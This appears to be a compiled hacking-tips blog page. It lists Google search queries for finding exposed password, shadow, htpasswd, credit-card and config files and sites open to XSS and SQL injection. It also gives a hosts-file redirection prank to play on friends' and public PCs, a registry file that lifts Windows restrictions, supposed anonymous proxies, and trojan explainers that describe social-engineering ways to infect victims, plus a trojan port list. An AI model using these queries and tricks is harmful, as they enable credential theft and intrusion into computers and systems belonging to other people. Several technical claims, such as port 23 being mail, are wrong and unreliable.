
Index of /password

Index of /mail

"Index of /" +passwd

"Index of /" +password.txt

"Index of /" +.htaccess

"Index of /secret"

"Index of /confidential"

"Index of /root"

"Index of /cgi-bin"

"Index of /credit-card"

"Index of /logs"

"Index of /config"

Looking for vulnerable sites or servers using “inurl:” or “allinurl:”

a. Using “allinurl:winnt/system32/” (without quotes) will list down all the links to the server which gives access to restricted directories like “system32” through web. If you are lucky enough then you might get access to the cmd.exe in the “system32” directory. Once you have the access to “cmd.exe” and is able to execute it.

b. Using “allinurl:wwwboard/passwd.txt”(without quotes) in the Google search will list down all the links to the server which are vulnerable to “WWWBoard Password vulnerability”. To know more about this vulnerability you can have a look at the following link:

http://www.securiteam.com/exploits/2BUQ4S0SAW.html

c. Using “inurl:.bash_history” (without quotes) will list down all the links to the server which gives access to “.bash_history” file through web. This is a command history file. This file includes the list of command executed by the administrator, and sometimes includes sensitive information such as password typed in by the administrator. If this file is compromised and if contains the encrypted unix (or *nix) password then it can be easily cracked using “John The Ripper”.

d. Using “inurl:config.txt” (without quotes) will list down all the links to the servers which gives access to “config.txt” file through web. This file contains sensitive information, including the hash value of the administrative password and database authentication credentials.

For Example: Ingenium Learning Management System is a Web-based application for Windows based systems developed by Click2learn, Inc. Ingenium Learning Management System versions 5.1 and 6.1 stores sensitive information insecurely in the config.txt file. For more information refer the following

links: http://www.securiteam.com/securitynews/6M00H2K5PG.html

Other similar search using “inurl:” or “allinurl:” combined with other syntax

inurl:admin filetype:txt

inurl:admin filetype:db

inurl:admin filetype:cfg

inurl:mysql filetype:cfg

inurl:passwd filetype:txt

inurl:iisadmin

inurl:auth_user_file.txt

inurl:orders.txt

inurl:"wwwroot/*."

inurl:adpassword.txt

inurl:webeditor.php

inurl:file_upload.php

inurl:gov filetype:xls "restricted"

index of ftp +.mdb allinurl:/cgi-bin/ +mailto

Looking for vulnerable sites or servers using “intitle:” or “allintitle:”

a. Using [allintitle: "index of /root”] (without brackets) will list down the links to the web server which gives access to restricted directories like “root” through web. This directory sometimes contains sensitive information which can be easily retrieved through simple web requests.

b. Using [allintitle: "index of /admin”] (without brackets) will list down the links to the websites which has got index browsing enabled for restricted directories like “admin” through web. Most of the web application sometimes uses names like “admin” to store admin credentials in it. This directory sometimes contains sensitive information which can be easily retrieved through simple web requests.

Other similar search using “intitle:” or “allintitle:” combined with other syntax

intitle:"Index of" .sh_history

intitle:"Index of" .bash_history

intitle:"index of" passwd

intitle:"index of" people.lst

intitle:"index of" pwd.db

intitle:"index of" etc/shadow

intitle:"index of" spwd

intitle:"index of" master.passwd

intitle:"index of" htpasswd

intitle:"index of" members OR accounts

intitle:"index of" user_carts OR user_cart

allintitle: sensitive filetype:doc

allintitle: restricted filetype :mail

allintitle: restricted filetype:doc site:gov

Other interesting Search Queries

· To search for sites vulnerable to Cross-Sites Scripting (XSS) attacks:

allinurl:/scripts/cart32.exe

allinurl:/CuteNews/show_archives.php

allinurl:/phpinfo.php

· To search for sites vulnerable to SQL Injection attacks:

allinurl:/privmsg.php

allinurl:/privmsg.php

Trick for Your webpage :: Page Redirection

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A simple text file edit makes sites redirect to another. When you type address in address bar in any browser and enter it then it will display another web page, for example:- when you type Google.com you will be redirected to yahoo.com

Instructions to do:

1) Go to this directory [c:\windows\system32\drivers\etc], directory may change according to drive used for os installation

2) then hit enter

3) find a file named "hosts"

4) Right click on it and open with word pad.

5) In the last link of the document type the IP* address of yahoo space www.Google.com (Vice versa for other sites)

6) now save it

7) restart the browser if its already running

8) Now try it, It works perfect

IP*: to find IP address of that website Goto start ->Run > type cmd > enter. Now you have a new window on desktop. On that type this without cotes "ping www. yahoo.com"

replace yahoo.com with your preferred site and then enter it

Recover Option: Repeat the first four steps and remove the last line that you have inserted and save it and restart browser. Now its back to normal

try this on your frieds pc and public pc and make them blink.

Restarting Windows Without Restarting Your PC (Vista or XP)

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A modern PC with Vista Home Edition takes about one and a half minutes to boot. An older machine with XP is about the same. That’s 30 seconds for the PC itself (the BIOS) to boot up, plus a minute for the Windows operating system to boot. Sometimes, you need to reboot Windows
(e.g. when installing new software), but there is no need to restart BIOS, too. However, the default is to reboot both. (That’s called doing a “cold boot,” rather than a “warm boot.”) There’s a trick that works on both XP and Vista to get it to do a warm boot instead, thus saving you 30 seconds per cycle.

The trick is to hold down the SHIFT key when invoking the restart.

Windows Vista: Select Start, then hover over the right arrow that is to the right of the padlock icon until the pop-up menu appears that contains “restart” as one of it’s choices. Hold down the SHIFT key while clicking on the “restart” choice.

Windows XP: Select Start. Select “Shut Down…”. Change the drop-down combo box under “What do you want the computer to do?” to “Restart”. Hold down the SHIFT key while clicking on the “OK” button.

Basics of Telnet

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Learning Telnet

::Don't use this for illegal stuff::

Introduction:

Telnet is used to connect to remote machines through emulation. This means that

it can connect to a server, any server instantly because of it's ability to emulate (copy)

remote computers.

Lets Start:

In Windows, Telnet can be found by going to Start -> Run and then typing telnet.

The application should then pop up. If you don't have Windows, there are many Telnet alternatives for mac, linux etc. Since I don't know any,search the internet for Telnet for Linux or Telnet for Mac and you should find something instantly.

If you have a PC and are using Windows 98/95, 2000, Me, or XP continue...

As you can see, Telnet has 4 menu options. These are Connect, Edit, Terminal, and Help.

If you click Connect, you should see more options. Here they are.

Connect:

Remote System..

Disconnect

Exit

Names of servers you have been on.

To connect to a server, click Remote System...

This will then take you to a dialog box that has these fields:

Hostname:

Port:

TermType:

There should also be a Connect button and a Cancel Button.

Lets go over these & what you should put in them.

-Hostname-

The Hostname can be the address of the website your going to be connecting to:

http://www.google.com

or it can be the IP address. Keep in mind that you can only connect to servers and not to clients (other PCs)

an IP Address looks like this: 64.233.167.99

-Port-

Port can bb either the port number you wanna connect to on the server (Port 80 is the Internet, Port 23 is Simple Mail Protocol then there are some more ports for different things..)

or you can keep it Telnet and see what happens.

-TermType-

TermType is the type of Terminal telnet will be acting like.

This doesn't matter most of the time, so you can keep it to default or try other ones if you want.

When you have all this set up, you can Click Connect & see what happens.

Note: Sometimes many servers don't like anon people just logging on, so be careful when logging onto servers, because sometimes it might be some big company that likes bullying people or just SOMEONE who likes bullying people and then they might want to find you or trace you or something and I know for a fact you don't need that happening.

Another Note: When you go to a server and type something, such as a login name or a password, you might not see anything even though you are typing. this is a feature that telnet or the other server uses. It's for some kind of safety measure.

Ok that's all for the Connect Menu, lets go over the Terminal menu.

The terminal menu should have 3 options:

Prefernces

Start Logging

Stop Logging.

-Prefernces-

If you go to this, a dialog box will come up with various options. Here, you can change the

text color & background color of the program, and you can enable Local Echo, which shows

you everything you've typed, Blinking cursor if you want the cursor to blink check it, if not un check, Block cursor if you want the cursor to be shown as a block, VT100 Arrows, don't worry about these they are useless, Buffer Size, this allows you to set the number of lines of text you want to be shown before the screen starts to scroll, The Terminal emulation type, always have this set on the default unless you know what the second one is and you know what your doing.

-Start Logging-

This logs everything you do on Telnet in a log file on your computer.

-Stop Logging-

This will stop logging processes.

Well that's it for basics of telnet. Thanks for reading.

For complete Guide on telnet visit happy hackers guide for telnet, Telnet: the Number One Hacker Tool is the guide title, from this guide really you can become a hacker

Basics of Hacking :: How to Hack a PC

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Getting Ip's:--

To see the ip all computers you are connected to (web servers, people attempting to hack into your computer).

Go to dos (start>run>type command) and run the netstat command. Type netstat /? for details.

Type netstat -r at the command prompt to see the ip of all computers you are connected to

In MSN (and other programs) when you are chatting to someone everything you type goes through the MSN servers first (they act as a proxy) so you see their ip rather than who you are chatting to. You can get round this by sending them a file as MSN doesn't send file through its proxy.

When you type the netstat -r (or -a for a different view) the ip's are under the foreign address table. The ports are seperated by a : . Different programs use different ports, so you can work out which ip's are from which program.

Connecting to other computers and what ports are:--

Servers send information. Clients retrieve. Simple.

Windows comes with a built in program to connect to other computers called telnet.

To start Windows telnet Start menu> Run> type Telnet. Click connect> remote system

Ports are doors into computers. Hosts are computer names

(ip number or a name that is translated into the ip automatically)

Different programs open different ports, but they always open the same ports so other computers know which port to connect to. You can get a port list listing all the different ports, but a basic one is:

11 :- Sends info on the computer

21 :- FTP (File transfer program)

23 :- Telnet (Login to the computers command line)

25 :- Smtp (Sends mail)

80 :- Http (Web pages)

There are thousands of different programs using different ports. You can get programs called portscanners which check a computer for all ports up to a certain number, looking for ways in. You can portscan a computer looking for ways-in.

Anyway, back to telnet.

Type www.yahoo.com as the host and port as 80 the click connect.

If nothing happens, you're in. Wow. You are connected to Yahoo's server.

You can now type http commands (you are connected to an http server, so it supports http commands). Ie. on an ftp server you can type open and it will do something. On an http server it will just wonder what the hell you are on about.

Type get / http/1.0 then press enter twice to get the file on the server at / (try /index.html) etc.)

Allowing dos and regedit in a restricted Windows

A very simple tactic I found after accidentally locking myself out of dos and regedit is to open notepad and type the following:

REGEDIT4

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp]

"Disabled"=dword:0

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]

"DisableRegistryTools"=dword:0

Save it as something.reg then run it. Simple.

Proxies

Proxies are computers that you connect through, hiding your computer. Most aren't anonymous, they give away your ip. Some are. Good anonymous proxies: mail.uraltelecom.ru:8080 and 194.247.87.4:8080.

Different programs require different ways of using proxies. To do it in internet explorer 5 go to tools, internet options, connections, settings. In the above proxies they are in the format host:port

What is Trojan Horse :: Trojans :: Trojan war

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Trojans all explained here

Trojan ( bad ) Beware !!

Trojan horse well this term has many meanings .

In the context of computer software, a Trojan horse is a malicious program that is disguised as or embedded within legitimate software. The term is derived from the classical myth of the Trojan Horse. They may look useful or interesting (or at the very least harmless) to an unsuspecting user, but are actually harmful when executed.

Often the term is shortened to simply Trojan, even though this turns the adjective into a noun, reversing the myth (Greeks were gaining malicious access, not Trojans).

There are two common types of Trojan horses.

One, is otherwise useful software that has been corrupted by a cracker inserting malicious code that executes while the program is used. Examples include various implementations of weather alerting programs, computer clock setting software, and peer to peer file sharing utilities.

The other type is a standalone program that masquerades as something else, like a game or image file, in order to trick the user into some misdirected complicity that is needed to carry out the program's objectives.

Trojan horse programs cannot operate autonomously, in contrast to some other types of malware, like viruses or worms. Just as the Greeks needed the Trojans to bring the horse inside for their plan to work, Trojan horse programs depend on actions by the intended victims. As such, if trojans replicate and even distribute themselves, each new victim must run the program/trojan. Therefore their virulence is of a different nature, depending on successful implementation of social engineering concepts rather than flaws in a computer system's security design or configuration. Definition

A Trojan horse program has a useful and desired function, or at least it has the appearance of having such. Trojans use false and fake names to trick users into dismissing the processes. These strategies are often collectively termed social engineering. In most cases the program performs other, undesired functions, but not always. The useful, or seemingly useful, functions serve as camouflage for these undesired functions. A trojan is designed to operate with functions unknown to the victim. The kind of undesired functions are not part of the definition of a Trojan Horse; they can be of any kind, but typically they have malicious intent.

In practice, Trojan Horses in the wild often contain spying functions (such as a packet sniffer) or backdoor functions that allow a computer, unknown to the owner, to be remotely controlled from the network, creating a "zombie computer". The Sony/BMG rootkit Trojan, distributed on millions of music CDs through 2005, did both of these things. Because Trojan horses often have these harmful behaviors, there often arises the misunderstanding that such functions define a Trojan Horse.

In the context of Computer Security, the term 'Trojan horse' was first used in a seminal report edited/written by JP Anderson (aka 'The Anderson Report' (Computer Security Technology Planning, Technical Report ESD-TR-73-51, USAF Electronic Sysstem Division, Hanscom AFB, Oct, 1972), which credits Daniel J Edwards then of NSA for both the coinage and the concept. One of the earliest known Trojans was a binary Trojan distributed in the binary Multics distribution; it was described by PA Karger and RR Schell in 1974 (Multics Security Evaluation, Technical Report ESD-TR-74-193 vol II, HQ Electronic Systems Division, Hanscom AFB, June 1974).

The basic difference from computer viruses is that a Trojan horse is technically a normal computer program and does not possess the means to spread itself. The earliest known Trojan horses were not designed to spread themselves. They relied on fooling people to allow the program to perform actions that they would otherwise not have voluntarily performed.

Trojans implementing backdoors typically setup a hidden server, from which a hacker with a client can then log on to. They have become polymorphic, process injecting, prevention disabling, easy to use without authorization, and therefore are abusive.

Trojans of recent times also come as computer worm payloads. It is important to note that the defining characteristics of Trojans are that they require some user interaction, and cannot function entirely on their own nor do they self-propagate/replicate.

Examples

Example of a simple Trojan horse

A simple example of a trojan horse would be a program named "waterfalls.scr.exe" claiming to be a free waterfall screensaver which, when run, instead begins erasing all the files on the computer.

Example of a somewhat advanced Trojan horse

On the Microsoft Windows platform, an attacker might attach a Trojan horse with an innocent-looking filename to an email message which entices the recipient into opening the file. The Trojan horse itself would typically be a Windows executable program file, and thus must have an executable filename extension such as .exe, .com, .scr, .bat, or .pif. Since Windows is sometimes configured by default to hide filename extensions from a user, the Trojan horse is an extension that might be "masked" by giving it a name such as 'Readme.txt.exe'. With file extensions hidden, the user would only see 'Readme.txt' and could mistake it for a harmless text file. Icons can also be chosen to imitate the icon associated with a different and benign program, or file type.

When the recipient double-clicks on the attachment, the Trojan horse might superficially do what the user expects it to do (open a text file, for example), so as to keep the victim unaware of its real, concealed, objectives. Meanwhile, it might discreetly modify or delete files, change the configuration of the computer, or even use the computer as a base from which to attack local or other networks - possibly joining many other similarly infected computers as part of a distributed denial-of-service attack. The Sony/BMG rootkit mentioned above both installed a vulnerability on victim computers, but also acted as spyware, reporting back to a central server from time to time, when any of the music CDs carrying it were played on a Windows computer system.

Types of Trojan horses

Trojan horses are almost always designed to do various harmful things, but could be harmless. Examples are

erasing or overwriting data on a computer.

encrypting files in a cryptoviral extortion attack.

corrupting files in a subtle way.

upload and download files.

allowing remote access to the victim's computer. This is called a RAT. (remote administration tool)

spreading other malware, such as viruses. In this case the Trojan horse is called a 'dropper' or 'vector'.

setting up networks of zombie computers in order to launch DDoS attacks or send spam.

spying on the user of a computer and covertly reporting data like browsing habits to other people (see the article on spyware).

make screenshots.

logging keystrokes to steal information such as passwords and credit card numbers (also known as a keylogger).

phish for bank or other account details, which can be used for criminal activities.

installing a backdoor on a computer system.

opening and closing CD-ROM tray

Time bombs and logic bombs

"Time bombs" and "logic bombs" are types of trojan horses.

"Time bombs" activate on particular dates and/or times. "Logic bombs" activate on certain conditions met by the computer.

Precautions against Trojan horses

Trojan horses can be protected against through end user awareness. Trojan Horse viruses can cause a great deal of damage to a personal computer but even more damaging is what they can do to a business, particularly a small business that usually does not have the same virus protection capabilities as a large business. Since a Trojan Horse virus is hidden it is harder to protect yourself or your company from them but there are things that you can do.

Trojan Horses are most commonly spread through an e-mail, much like other types of common viruses. The only difference being of course is that a Trojan Horse is hidden. The best ways to protect yourself and your company from Trojan Horses are as follows:

1. If you receive e-mail from someone that you do not know or you receive an unknown attachment never open it right away. As an e-mail use you should confirm the source. Some hackers have the ability to steal an address books so if you see e-mail from someone you know that does not necessarily make it safe.

2. When setting up your e-mail client make sure that you have the settings so that attachments do not open automatically. Some e-mail clients come ready with an anti-virus program that scans any attachments before they are opened. If your client does not come with this it would be best to purchase on or download one for free.

3. Make sure your computer has an anti-virus program on it and make sure you update it regularly. If you have an auto-update option included in your anti-virus program you should turn it on, that way if you forget to update your software you can still be protected from threats

4. Operating systems offer patches to protect their users from certain threats and viruses, including Trojan Horses. Software developers like Microsoft offer patches that in a sense “close the hole” that the Trojan horse or other virus would use to get through to your system. If you keep your system updated with these patches your computer is kept much safer.

5. Avoid using peer-2-peer or P2P sharing networks like Kazaa , Limewire, Ares, or Gnutella because those programs are generally unprotected from viruses and Trojan Horse viruses are especially easy to spread through these programs. Some of these programs do offer some virus protection but often they are not strong enough.

Besides these sensible precautions, one can also install anti-trojan software, some of which are offered free.

Methods of Infection

The majority of trojan horse infections occur because the user was tricked into running an infected program. This is why you're not supposed to open unexpected attachments on emails -- the program is often a cute animation or a sexy picture, but behind the scenes it infects the computer with a trojan or worm. The infected program doesn't have to arrive via email, though; it can be sent to you in an Instant Message, downloaded from a Web site or by FTP, or even delivered on a CD or floppy disk. (Physical delivery is uncommon, but if you were the specific target of an attack, it would be a fairly reliable way to infect your computer.) Furthermore, an infected program could come from someone who sits down at your computer and loads it manually.

Websites: You can be infected by visiting a rogue website. Internet Explorer is most often targeted by makers of trojans and other pests, because it contains numerous bugs, some of which improperly handle data (such as HTML or images) by executing it as a legitimate program. (Attackers who find such vulnerabilities can then specially craft a bit of malformed data so that it contains a valid program to do their bidding.) The more "features" a web browser has (for example ActiveX objects, and some older versions of Flash or Java), the higher your risk of having security holes that can be exploited by a trojan horse.

Email: If you use Microsoft Outlook, you're vulnerable to many of the same problems that Internet Explorer has, even if you don't use IE directly. The same vulnerabilities exist since Outlook allows email to contain HTML and images (and actually uses much of the same code to process these as Internet Explorer). Furthermore, an infected file can be included as an attachment. In some cases, an infected email will infect your system the moment it is opened in Outlook -- you don't even have to run the infected attachment.

For this reason, using Outlook lowers your security substantially.

Open ports: Computers running their own servers (HTTP, FTP, or SMTP, for example), allowing Windows file sharing, or running programs that provide filesharing capabilities such as Instant Messengers (AOL's AIM, MSN Messenger, etc.) may have vulnerabilities similar to those described above. These programs and services may open a network port giving attackers a means for interacting with these programs from anywhere on the Internet. Vulnerabilities allowing unauthorized remote entry are regularly found in such programs, so they should be avoided or properly secured.

A firewall may be used to limit access to open ports. Firewalls are widely used in practice, and they help to mitigate the problem of remote trojan insertion via open ports, but they are not a totally impenetrable solution, either.

More on trojans

Trojan Part 1

1.What is this text about?

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In this text I'm going to explain you interesting things about

the trojans and about their future.I hope you'll realize that

trojans are dangerous and they're still big security problem although

many people say don't download files from the net and you won't get

infected which is not right.The main thing I want to explain here is

do the trojans have future and other interesting things about them.

This text is only for Windows based trojans not Unix one.

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2.What Is A Trojan Horse?

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A trojan horse is

-An unauthorized program contained within a legitimate program. This unauthorized

program performs functions unknown (and probably unwanted) by the user.

-A legitimate program that has been altered by the placement of

unauthorized code within it; this code performs functions unknown

(and probably unwanted) by the user.

-Any program that appears to perform a desirable and necessary

function but that (because of unauthorized code

within it that is unknown to the user) performs functions unknown

(and probably unwanted) by the user.

Trojans can also be called RAT's, or Remote Administration Tools.

The trojan got it's name from the old mythical story about how the greeks during

the war, gave their enemy a huge wooden horse as a gift.

They accepted this gift and they brought into their kingdom,

and during the night, greek soldiers crept out of the horse and attacked the city,

completely overcoming it.

3.Trojans Today

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Trojans has always been big security problem even today.Most of the people

don't know what a trojan is and they keep downloading files from untrusted

sources or from suspicious people.Today there are more than 600 trojans on

the net that I know but I think there are many many more.Because every hacker or

programer today have it's own trojan made for his/her special needs and not

published anywhere.Every hacking group has also it's own trojans and programs.

When someone start learning winsock the first creating is chat client or trojan

horse.Even the anti-virus scanners I'll talk below people still get infected

by themselves,by some hacker or by some of your friends.

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4.The Future Of Trojans

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I think there're a lot of people out there that think the

trojans are outdated and they don't have future.Well I don't

think so.Trojans will always have future and new things added in

them.There are so many things that can be improved by skilled programers

in the trojans.

Trojans that COMPLETELY hide in the system and of course restart every time Windows is loaded

trojans that will lie every trojan and anti-virus program this is the future I think.

People that program trojans has a lot of ideas that makes their trojans unique.

These people start placing backdoors in ActiveX and who knows maybe in future they'll

find other sources they can place the trojans in.Programmers will always think of

new and unique trojans with functions never seen before.

Trojans are made every day by the programers with new options and with better encryption so

the Anti-Trojan software can't detect them.So noone knows how many are the trojans on the net.

But the programmers are still programming trojans and they will continue in the future.

Technically, a trojan could appear almost anywhere, on any operating system or platform.

However, with the exception of the inside job mentioned previously, the spread of trojans works

very much like the spread of viruses. Software downloaded from the Internet, especially shareware or freeware,

is always suspect. Similarly, materials downloaded from underground servers

or Usenet newsgroups are also candidates.There are thousand of programs with not checked source and new programs are appearing every day especially the freeware one so they can all be trojans.So be careful what you're downloading and from where you're downloading it. Always download software from the official page.

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5.Anti-Virus Scanners

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People think that when they have a virus scanner with the latest virus definitions

they're secure on the net and they can't get infected with a trojan or noone can

have access to their computer.This is NOT right.The purpose of the anti-virus

scanners is to detect not trojans but viruses.But when trojans became popular

the scanners started adding also trojan definitions.These scanners just can't

find the trojans and analyze them that's why they're just detecting the common

and the well know from everyone trojans like Back Orifice and NetBus and also

several other.As I told they're around 600 trojans I know out there and the

anti-virus scanners are detecting just a LITTLE part of them.

These scanners are not firewalls that will stop someone that want to connect

to your computer or try to attack you as people think they are.So I hope that

you understand that the main purpose of these scanners is not to detect

trojans and protect you while you're online.

Most of the internet users know only Back Orifice and NetBus as trojans.

There are some specific tools out there that clean ONLY from these trojans.

Again people think that they're secure and protected from every trojan.

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6.How Can I get Infected?

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Everyone ask this question and often people ask themselves how they got

infected.Also when someone ask them did they run some file send to them

by someone or downloaded from somewhere people always say they didn't

run anything or download some file but they did it.People just don't

pay attention to things they do online and that's why they forget

about the moment of the infection with the trojan.

You can get infected from many places and I'll try to explain

you these things here.

6.1 From ICQ

6.2 From IRC

6.3 From Attachment

6.4 Physical Access

6.5 Tricks-diskette

6.1 From ICQ

People think that they can't infect while they're talking via ICQ

but they just forget the moment when someone sends them a file.

Everyone knows how insecure ICQ is and that's why some people

are afraid of using it.

As you maybe know there's a bug in ICQ allowing you to send a .exe

file to someone but it will look as .bmp or .jpg or whatever you want

it to look like.This is very dangerous as you see and can get you in

trouble.The attacker will just change the icon of the file like

a BMP image,tell you it's a pic of him,rename it to photo.bmp

then you'll get it and of course before getting it you'll see that

it's .bmp and you're secure because the file is not executable.

Then you run it see the picture and you think there's nothing to

worry about but there is.

That's why most of the people say that they didn't run any files

because they know that they've run an image not executable.

A way to prevent this bug in ICQ is always to check the type of

the file before running it.It may has an BMP icon but if at the type

of the file is written executable I thin you know that it will be

mistake if you run that file.

6.2 From IRC

You can also get infected from IRC by receiving files from

untrusted sources.But I advice you always to be paranoid

and do not receive files from ANYONE even from your best

friend because someone may stolen his/her password

and infect you.Some people think that they can be 100% sure

that the other person is their friend when they ask him/her

something like a secret or something else that only he/she know

but as I told you be paranoid because someone may infect your friend

and just check his/her IRC logs and see what is this secret about or

learn other things.Be paranoid it's more secure as I say and do not

receive files from anyone on IRC or from somewhere else like

e-mail,ICQ or even your online friends.

6.3 From Attachment

The same thing goes about the e-mail attachments.NEVER run anything

even if it says you'll see hot porno or some passwords for server or

anything else.The best way to infect someone with a trojan is mass

e-mailing the server because there're new people on the net and

they'll of course get infected.This is the best way of infecting

as I said that's why it's preferred by the people that want to infect

the masses.

6.4 Physical Access

You can of course get infected by some of your "friends" when they

have physical access to your computer.Let's suppose you leave

someone on your computer just for 5 minutes,then of course you can

get infected by one of your "friends".There are some very smart people

out there that keep thinking of new ways of getting physical access

to someone's computer.Here are some tricks that are interesting:

1.You "friend" may ask you "Hey bro can you give me some water"

or something that will leave him alone.You'll go to take some

water and then........You know

2.The attacker may have a plan.Let's say you invited him/her

at 12:00 at your home and that attacker told one of your

"friends" to call the victim at 12:15 and start talking

about something with the victim.The attacker again have time

to infect you.

Also the "friend" that is calling you may say something like

"Is there anyone around you,if so move somewhere

else I don't want anyone to hear what we are talking about"

The attacker is again alone and have time to infect you.

6.5 Trick

This is one trick that may work on people that really

want something and the attacker knows what is it.

Let's say that the victim wants to watch some porno

or want xxx passwords,then attacker can just leave

a diskette with the trojan in the front of the victim's

house and put the trojan with some xxx pics of course.

This is bad things because sometimes if you really want

something and you finally found it you don't think about

anything else except to check it you.You again get infected.

I hope now you understand how you got infected the last time

(if you got infected of course).

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7.How dangerous a trojan can be?

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Many people that don't know what a trojan is

think that when they run an executable nothing

happened because their computer is still working

and all the data is there,if it was a virus

their data will be damaged and their computer will

stop working.

Someone is downloading and uploading files on your computer.

Someone is reading all of your IRC logs and learning

interesting things about you and your friends.

Someone is reading ALL of your ICQ messages.

Someone is deleting files on your computer.

These are some examples how dangerous a trojan can be.

There people that use trojans just to place virus

on the infected machine like CIH and destroy the machine.

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8.Different Kinds Of Trojans

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Remote Access Trojans

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These trojans are the most popular trojans now.

Everyone wants to have such trojan because he

or she want to have access to their victim's hard drive.

The RAT'S (remote access trojans)are very

simple to use.Just make someone run the server

and you get the victim's IP and you have FULL

access to his or her computer.They you can

almost everything it depends of the trojan you use.

But the RAT'S have the common remote access trojan functions like:

keylogger,upload and download function,

make a screen shot and so on.Some people use the

trojans for malicious purposes.

They want just to delete and delete.This is lame.But a have a guide

about the best way to use a trojan.You should read it.

There are many programs out there

that detects the most common trojans,but new trojans are

coming every day and these programs are not the maximum defense.

The trojans do always the same things.

If the trojan restart every time Windows is loaded that

means it put something in the registry

or in win.ini or in other system file so the trojan can restart.

Also the trojans create some file in

the WINDOWS\SYSTEM directory.The file is always looking

to be something that the victim will think

is a normal WINDOWS executable.Most trojans hide

from the Alt+Ctrl+Del menu.This is not

good because there are people who use only this way to see

which process are running.There are programs

that will tell me you exactly the process and the

file from where it comes.Yeah but some trojans

as I told you use fake names and it's a little hard

for some people to understand which process

should they kill.The remote access trojans opens

a port on your computer letting everyone to connect.

Some trojans has options like change the port

and put a password so only the guy that infect you

will be able to use the computer.The change

port option is very good because I'm sure you

don't want your victim to see that port 31337 is open

on their computer.Remote access trojans are

appearing every day and they will continue to appear.

For those that use such trojans: BE CAREFUL

you can infect yourself and they the victim you

wanted to destroy will revenge and you'll be sorry.

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Password Sending Trojans

The purpose of these trojans is to rip all cached

passwords and send them to specified e-mail

without letting the victim about the e-mail.

Most of these trojans don't restart every time Windows

is loaded and most of them use port 25 to

send the e-mail.There are such trojans that e-mail

other information too like ICQ number

computer info and so on.These trojans are dangerous if

you have any passwords cached anywhere on your computer.

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Keyloggers

These trojans are very simple.The only one thing

they do is to log the keys that the victim is pressing

and then check for passwords in the log file.

In the most cases these trojans restart every

time Windows is loaded.They have options

like online and offline recording.In the online recording

they know that the victim is online and

they record everything.But in the offline recording

everything written after Windows start is

recorded and saved on the victims disk waiting for

to be transferred.

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Destructive

The only one function of these trojans is to

destroy and delete files.This makes them very simple

and easy to use.They can automatically

delete all your .dll or .ini or .exe files on your computer.

These are very dangerous trojans and once

you're infected be sure if you don't disinfect your

computer information will no longer exist.

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FTP trojans

These trojans open port 21 on your computer

letting EVERYONE that has a FTP client to connect

to your computer without password and will full upload and download options.

These are the most common trojans.They all are dangerous

and you should me careful using them.

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9.Who Can Infect You?

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Well basically you can get infected by everyone that know how

to use a trojan(it's VERY easy) and of course know how to infect you.

People that use trojans are wannabe hackers that are just at the stage

of using trojans.Some of these people don't move to the next stage

and they're lamers that can only use trojans and as I said it's VERY easy.

But after reading this text you'll know the most common ways that someone

can infect you with a trojan and it will be hard for the people using them

to infect you.

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10.What Is The Attacker Looking For?

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Some of you may think that trojans are used for damage only.

Well they can also be used to spy on someone's machine and

take a lot of private information from it.Wellthe common data an attacker looks

for would include but not limit to the following.

-----> Credit Card Information

-----> Credit Information

-----> Checking Account Information

-----> Any accounting data

-----> Data bases

-----> Mailing Lists

-----> Personal Addresses

-----> Email Addresses

-----> Account Passwords

-----> Home Office / Small Business Information

-----> Company Accounts / Subscribed for Services

-----> Resumes

-----> Email

-----> Any Company Information / Services He Can Access

-----> Your or spouse's first and last name

-----> Children's names / ages

-----> Your address

-----> Your telephone number

-----> Letters you write to people

-----> Email

-----> Your personal resume

-----> Your family pictures

-----> School work

-----> Any school accounts / information

wanna know moreeeeeeeeeeeeeeeeeeeeeeeee

Trojan Part 2

11.How The Trojans Works

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Here I'll explain you how the trojans work.If you don't know some words

you can check the "Terms Used In The Text" section and read about them there.

When the victim runs the server it does functions like opening some specific port and listening

for connections.It can use TCP or UPD protocols.

When you connect with the victim IP the you can do what you want because the server let you do

the trojan functions on the infected computer.Some trojans restart every time Windows is loaded.

They modify win.ini or system.ini so the trojan can restart but most of the new trojans use the

registry so they can restart.

Trojans communicate like client and server.The victim runs the server,the attacker sends command

to the infected server with the client and the server is just following what the client "says" to it.

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12.The Most Common Trojan Ports

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Here's a list of the most common trojan ports:

Satanz Backdoor
666

Silencer
1001

Shivka-Burka
1600

SpySender
1807

Shockrave
1981

WebEx
1001

Doly Trojan
1011

Psyber Stream Server
1170

Ultors Trojan
1234

VooDoo Doll
1245

FTP99CMP
1492

BackDoor
1999

Trojan Cow
2001

Ripper
2023

Bugs
2115

Deep Throat
2140

The Invasor
2140

Phineas Phucker
2801

Masters Paradise
30129

Portal of Doom
3700

WinCrash
4092

ICQTrojan
4590

Sockets de Troie
5000

Sockets de Troie 1.x
5001

Firehotcker
5321

Blade Runner
5400

Blade Runner 1.x
5401

Blade Runner 2.x
5402

Robo-Hack
5569

DeepThroat
6670

DeepThroat
6771

GateCrasher
6969

Priority
6969

Remote Grab
7000

NetMonitor
7300

NetMonitor 1.x
7301

NetMonitor 2.x
7306

NetMonitor 3.x
7307

NetMonitor 4.x
7308

ICKiller
7789

Portal of Doom
9872

Portal of Doom 1.x
9873

Portal of Doom 2.x
9874

Portal of Doom 3.x
9875

Portal of Doom 4.x
10067

Portal of Doom 5.x
10167

iNi-Killer
9989

Senna Spy
11000

Progenic trojan
11223

Hack?99 KeyLogger
12223

GabanBus
1245

NetBus
1245

Whack-a-mole
12361

Whack-a-mole 1.x
12362

Priority
16969

Millennium
20001

NetBus 2 Pro
20034

GirlFriend
21544

Prosiak
22222

Prosiak
33333

Evil FTP
23456

Ugly FTP
23456

Delta
26274

Back Orifice
31337

Back Orifice
31338

DeepBO
31338

NetSpy DK
31339

BOWhack
31666

BigGluck
34324

The Spy
40412

Masters Paradise
40421

Masters Paradise 1.x
40422

Masters Paradise 2.x
40423

Masters Paradise 3.x
40426

Sockets de Troie
50505

Fore
50766

Remote Windows Shutdown
53001

Telecommando
61466

Devil
65000

The tHing
6400

NetBus 1.x
12346

NetBus Pro 20034

SubSeven
1243

NetSphere
30100

Silencer
1001

Millenium
20000

Devil 1.03
65000

NetMonitor
7306

Streaming Audio Trojan
1170

Socket23
30303

Gatecrasher
6969

Telecommando
61466

Gjamer
12076

IcqTrojen
4950

Priotrity
16969

Vodoo
1245

Wincrash
5742

Wincrash2
2583

Netspy
1033

ShockRave
1981

Stealth Spy
555

Pass Ripper
2023

Attack FTP
666

GirlFriend
21554

Fore, Schwindler
50766

